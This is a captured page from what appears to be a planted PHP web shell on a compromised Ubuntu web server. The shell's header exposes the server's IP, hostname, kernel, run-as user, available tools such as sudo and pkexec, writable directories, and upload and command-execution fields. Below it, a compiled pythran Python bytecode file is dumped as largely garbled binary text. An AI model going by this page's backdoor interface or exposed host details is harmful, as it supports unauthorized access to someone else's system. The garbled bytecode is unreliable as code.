403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/pythran/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/__pycache__/passmanager.cpython-310.pyc
o

�@�a��@s�dZddlZddlZddlZdd�ZGdd�de�ZGdd�de�ZGd	d
�d
eej	�Z
Gdd�de
�ZGd
d�de
�ZGdd�de
�Z
Gdd�de�ZGdd�deej�ZGdd�de�ZdS)ao
This module provides classes and functions for pass management.

There are two kinds of passes: transformations and analysis.
    * ModuleAnalysis, FunctionAnalysis and NodeAnalysis are to be
      subclassed by any pass that collects information about the AST.
    * gather is used to gather (!) the result of an analyses on an AST node.
    * Backend is to be sub-classed by any pass that dumps the AST content.
    * dump is used to dump (!) the AST using the given backend.
    * Transformation is to be sub-classed by any pass that updates the AST.
    * apply is used to apply (sic) a transformation on an AST node.
�NcCs t�dd|�}t�dd|���S)z<Transform CamelCase naming convention into C-ish convention.z(.)([A-Z][a-z]+)z\1_\2z([a-z0-9])([A-Z]))�re�sub�lower)�name�s1�r�5/usr/lib/python3/dist-packages/pythran/passmanager.py�uncamelsr	c@seZdZdZdd�ZdS)�AnalysisContextz{
    Class that stores the hierarchy of node visited.

    Contains:
        * parent module
        * parent function
    cCsd|_d|_dS�N)�module�function)�selfrrr�__init__#s
zAnalysisContext.__init__N)�__name__�
__module__�__qualname__�__doc__rrrrrr
sr
csVeZdZdZ�fdd�Zddd�Zdd�Z�fd	d
�Zdd�Zd
d�Z	dd�Z
�ZS)�ContextManagerz�
    Class to be inherited from to add automatic update of context.

    The optional analysis dependencies are listed in `dependencies'.
    cs ||_|��tt|���dS)z3 Create default context and save all dependencies. N)�deps�verify_dependencies�superrr�r�dependencies��	__class__rrr0szContextManager.__init__NcCs||_|pt�|_dSr)�passmanagerr
�ctx)r�pmrrrr�attach6szContextManager.attachcCsJtdt|j��D]}t|j|t�r"t|j|dt�r"Jd|��qdS)z�
        Checks no analysis are called before a transformation,
        as the transformation could invalidate the analysis.
        �zinvalid dep order for %sN)�range�lenr�
isinstance�Transformation�Analysis)r�irrrr:s����z"ContextManager.verify_dependenciescs\t|tj�r&||j_|jD]}t|t�r%|jj	||f}t
|t|j�|�q
t
t|��|�Sr)r#�ast�FunctionDefrr
r�
issubclass�FunctionAnalysisr�_cache�setattrr	rrr�visit)r�node�D�resultrrrr-Es

�zContextManager.visitcCslt|tj�r||j_n
t|tj�r||j_|jD]}|�}|�|j	|j�|�
|�}t|t|j
�|�qdS)z0Gather analysis result required by this analysisN)r#r'�Modulerrr(r
rrr�runr,r	r)rr.r/�dr0rrr�preparePs


�zContextManager.preparecCs|�|�|�|�S)z=Override this to add special pre or post processing handlers.)r4r-�rr.rrrr2]�

zContextManager.runcCs |�}|�|j|j�|�|�Sr)rrrr2�r�analysisr.�arrr�gatherbs
zContextManager.gatherr)rrrrrrrr-r4r2r:�
__classcell__rrrrr(s

rcs8eZdZdZdd�Z�fdd�Zdd�Zdd	�Z�ZS)
r%zT
    A pass that does not change its content but gathers informations about it.
    cGs.t|d�s	Jd��d|_tj|g|�R�dS)z�`dependencies' holds the type of all analysis required by this
            analysis. `self.result' must be set prior to calling this
            constructor.r0z9An analysis must have a result attribute when initializedFN)�hasattr�updaterrrrrrrls
�zAnalysis.__init__csP|t|�f}||jjvr|jj||_|jStt|��|�|j|jj|<|jSr)�typerr+r0rr%r2)rr.�keyrrrr2us�zAnalysis.runcCst|�dSr)�print)r�datarrr�display~szAnalysis.displaycCs|�|�|��d|fS)NF)rBr2r5rrr�apply�szAnalysis.apply)	rrrrrr2rBrCr;rrrrr%hs		r%c� eZdZdZ�fdd�Z�ZS)�ModuleAnalysisz,An analysis that operates on a whole module.csDt|tj�s|jjdurtd�t|�j���|jj}t	t
|��|�S�Nz%{} called in an uninitialized context)r#r'r1rr�
ValueError�formatr>rrrEr2r5rrrr2�s�zModuleAnalysis.run�rrrrr2r;rrrrrE�srEcrD)r*z(An analysis that operates on a function.cs�t|tj�r)||j_d}|jD]}t|tj�r|�t|�|�}q|dur'|j	S|St|tj�sC|jj
dur?td�t|�j
���|jj
}tt|��|�SrF)r#r'r1rr�bodyr(r:r>r0r
rGrHrrr*r2)rr.�last�stmtrrrr2�s
��zFunctionAnalysis.runrIrrrrr*�sr*c@�eZdZdZdS)�NodeAnalysisz&An analysis that operates on any node.N�rrrrrrrrrN��rNc@rM)�Backendz&A pass that produces code from an AST.NrOrrrrrQ�rPrQcs4eZdZdZ�fdd�Z�fdd�Zdd�Z�ZS)r$z A pass that updates its content.cs tt|�j|i|��d|_dS)z8 Initialize the update used to know if update happened. FN)rr$rr=)r�args�kwargsrrrr�s
zTransformation.__init__cs0tt|��|�}|jrt�|�|jj��|S)zA Apply transformation and dependencies and fix new node location.)	rr$r2r=r'�fix_missing_locationsrr+�clear)rr.�nrrrr2�s

zTransformation.runcCs|�|�}|j|fS)z8 Apply transformation and return if an update happened. )r2r=)rr.�new_noderrrrC�r6zTransformation.apply)rrrrrr2rCr;rrrrr$�s
r$c@s2eZdZdZddd�Zdd�Zdd�Zd	d
�ZdS)�PassManagerz/
    Front end to the pythran pass system.
    NcCs||_|pt��|_i|_dSr)�module_name�os�getcwd�
module_dirr+)rrYr\rrrr�s
zPassManager.__init__cC�(t|t�sJ�|�}|�|�|�|�S)z5High-level function to call an `analysis' on a `node')r)r%rr2r7rrrr:�s

zPassManager.gathercCr])zfHigh-level function to call a `backend' on a `node' to generate
        code for module `module_name'.)r)rQrr2)r�backendr.�brrr�dump�s

zPassManager.dumpcCs,t|ttf�s	J�|�}|�|�|�|�S)z�
        High-level function to call a `transformation' on a `node'.
        If the transformation is an analysis, the result of the analysis
        is displayed.
        )r)r$r%rrC)r�transformationr.r9rrrrC�s

zPassManager.applyr)rrrrrr:r`rCrrrrrX�s
rX)r�gastr'rZrr	�objectr
r�NodeVisitorr%rEr*rNrQ�NodeTransformerr$rXrrrr�<module>s
@

Youez - 2016 - github.com/yon3zu
LinuXploit